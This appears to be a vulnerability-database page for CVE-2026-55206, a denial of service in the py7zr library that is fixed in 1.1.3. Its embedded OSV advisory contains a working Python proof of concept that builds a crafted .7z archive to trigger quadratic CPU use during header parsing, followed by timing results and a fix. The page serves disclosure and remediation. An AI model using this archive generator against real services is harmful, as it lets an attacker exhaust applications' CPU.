CVE-2026-55206: py7zr Denial of Service Vulnerability
MODERATECVE-2026-55206 is a MODERATE denial of service vulnerability (CWE-407: Inefficient Algorithmic Complexity) affecting py7zr libraries in the PyPI ecosystem. The issue involves o(n^2) algorithmic complexity dos in packinfo._read(). Remediation is available by upgrading affected packages to version 1.1.3.
CVE-2026-55206 at a Glance
How to Fix CVE-2026-55206
To remediate this vulnerability, upgrade all affected py7zr dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install py7zr>=1.1.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show py7zr
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-55206, inspect your installed packages using pip:
pip show py7zr
Analyze the terminal output to locate any version of py7zr in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.1.3), your application is affected.
Note: The pip show py7zr command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-407: Inefficient Algorithmic Complexity, where an algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached. In py7zr, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-55206 Affected py7zr Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
py7zr
|
PyPI |
< 1.1.3
|
1.1.3
|
References
Frequently Asked Questions
What is CVE-2026-55206?
Which py7zr versions are affected?
What version fixes CVE-2026-55206?
Is py7zr affected?
What CWE is associated with CVE-2026-55206?
How can I check PyPI dependencies for CVE-2026-55206?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-h4gh-22qq-72r7",
"modified" : "2026-06-19T21:16:33Z",
"published" : "2026-06-19T21:16:33Z",
"aliases" : [ "CVE-2026-55206" ],
"summary" : "py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()",
"details" : "### Summary\n\nPackInfo._read() uses an O(n^2) cumulative sum pattern where\n numstreams is read directly from the archive header. A crafted .7z\n archive with a large numstreams value causes excessive CPU consumption\n during SevenZipFile.__init__() — no extraction is needed. A 50 KB\n archive takes ~7 seconds of CPU time.\n\n### Details\n\n The vulnerable code is in PackInfo._read() (archiveinfo.py):\n\n self.packpositions = [sum(self.packsizes[:i]) for i in\n range(self.numstreams + 1)]\n\n numstreams is parsed from the archive header via read_uint64() and is\n attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the\n beginning, producing O(n^2) total work. This runs during header\n parsing in SevenZipFile.__init__(), before any extraction.\n\n Suggested fix — replace with O(n) cumulative sum:\n\n from itertools import accumulate\n self.packpositions = [0] + list(accumulate(self.packsizes))\n### PoC\n``` import struct, io, binascii, time\n import py7zr\n from py7zr.archiveinfo import write_uint64, PROPERTY\n\n MAGIC = b'\\x37\\x7a\\xbc\\xaf\\x27\\x1c'\n\n def encode_uint64(v):\n buf = io.BytesIO()\n write_uint64(buf, v)\n return buf.getvalue()\n\n def build_7z_with_streams(numstreams):\n header = io.BytesIO()\n header.write(PROPERTY.HEADER)\n header.write(PROPERTY.MAIN_STREAMS_INFO)\n header.write(PROPERTY.PACK_INFO)\n header.write(encode_uint64(0))\n header.write(encode_uint64(numstreams))\n header.write(PROPERTY.SIZE)\n for _ in range(numstreams):\n header.write(encode_uint64(1))\n header.write(PROPERTY.END)\n header.write(PROPERTY.END)\n header.write(PROPERTY.END)\n header_data = header.getvalue()\n\n out = io.BytesIO()\n out.write(MAGIC)\n out.write(b'\\x00\\x04')\n next_crc = binascii.crc32(header_data) & 0xFFFFFFFF\n start_header = (struct.pack('<Q', 0)\n + struct.pack('<Q', len(header_data))\n + struct.pack('<I', next_crc))\n out.write(struct.pack('<I', binascii.crc32(start_header) &\n 0xFFFFFFFF))\n out.write(start_header)\n out.write(header_data)\n return out.getvalue()\n\n for n in [1000, 5000, 10000, 30000, 50000]:\n archive = build_7z_with_streams(n)\n start = time.time()\n try:\n with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z:\n pass\n except Exception:\n # The crafted archive may later raise due to being malformed,\n # but the quadratic work has already been performed during\n # header parsing in SevenZipFile.__init__().\n pass\n elapsed = time.time() - start\n print(f\"n={n:6d} size={len(archive):8d} bytes\n time={elapsed:.3f}s\")\n```\n Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.\n\n Results:\n\n n= 1000 size= 1042 bytes time=0.004s\n n= 5000 size= 5042 bytes time=0.071s\n n= 10000 size= 10042 bytes time=0.291s\n n= 30000 size= 30043 bytes time=2.609s\n n= 50000 size= 50043 bytes time=7.097s\n### Impact\n\nDenial of Service. Any application that opens .7z archives from\n untrusted sources using py7zr.SevenZipFile() can be caused to consume\n excessive CPU time with a small crafted archive. The quadratic cost\n occurs during header parsing, before any content extraction.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "py7zr"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.1.3"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.1.2"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/miurahr/py7zr/security/advisories/GHSA-h4gh-22qq-72r7"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/miurahr/py7zr"
}, {
"type" : "WEB",
"url" : "https://github.com/miurahr/py7zr/releases/tag/v1.1.3"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-407" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-19T21:16:33Z",
"nvd_published_at" : null
}
}